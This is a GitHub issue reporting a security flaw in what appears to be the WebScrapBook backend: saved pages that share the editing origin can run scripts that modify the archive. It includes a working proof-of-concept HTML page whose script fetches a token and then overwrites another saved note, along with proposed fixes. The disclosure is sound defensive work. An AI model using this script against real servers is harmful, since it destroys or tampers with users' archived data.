Skip to content

Extension and browser must use distinct "Origin" #16

@maxnikulin

Description

@maxnikulin

I am considering the following as a quite serious security flaw. The least important consequence is self-destructing captures, but I am afraid of damaging of the whole archive.

My opinion is that extension (capture and edit) and browser (view content) context should be strictly separated. Ordinary browser windows should have credentials allowing only view of saved pages. Saving of new pages or editing of them should be available from extension code only.

Fully configured backend should use different domains for API and for saved content. In quick/developer setup mode it could be at least different ports of localhost. Personally I consider using dnsmasq and separate subdomain for each saved page.

Prerequisite: JS script is leaked somehow from origin page to the capture. It is hard to ensure that all scripts are cleaned even when the related option is set.

Let's assume that there is a note /data/20200825072842466/index.md on the server. In real life URL could be obtained from the directory index.

I have put the following file to another directory simulating leak of JavaScript to the saved file:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>webscrapbook backend hack</title>
</head> 
<body>  
        <h1>WebScrapBook backend hack</h1>
        <pre id="log"></pre>
        <script type="text/javascript">
                const hackTarget = '/data/20200825072842466/index.md';
                var log = document.getElementById("log");

                function logError(e) {
                        console.error(e);
                        log.innerText += "\nError:\n" + e + "\n";
                }

                function logSuccess(r) {
                        console.log(r);
                        log.innerText += "\nSuccess:\n" + r + "\n";
                }

                async function hackIt() {
                        const token = (await (await fetch("/?a=token&f=json")).json()).data;
                        logSuccess("token: " + token);
                        const d = new FormData();
                        d.append("token", token);
                        const text = "hacked at " + new Date();
                        d.append("text", text);
                        const res = (await (await fetch(
                                hackTarget + '?a=save&f=json',
                                {method: 'POST', body: d})).json()).data;
                        logSuccess("result: " + res);
                        logSuccess("hacked: " + hackTarget + "\nSet: " + text);
                }

                hackIt().catch(logError);
        </script>
</body>
</html>

I have clicked on this page in the WebScrapBook sidebar and got another page overwritten.

I believe that a separate WSGI application without support of modifying actions is required to serve saved pages for visiting them. In the case of "production" setup with reverse proxy application role shrinks to checking of authentication and rendering of markdown notes. Static files could be served by the reverse proxy directly. Different origin (host or port) is necessary to prevent CORS attacks.

Metadata

Metadata

Assignees

No one assigned

    Labels

    enhancementNew feature or request

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions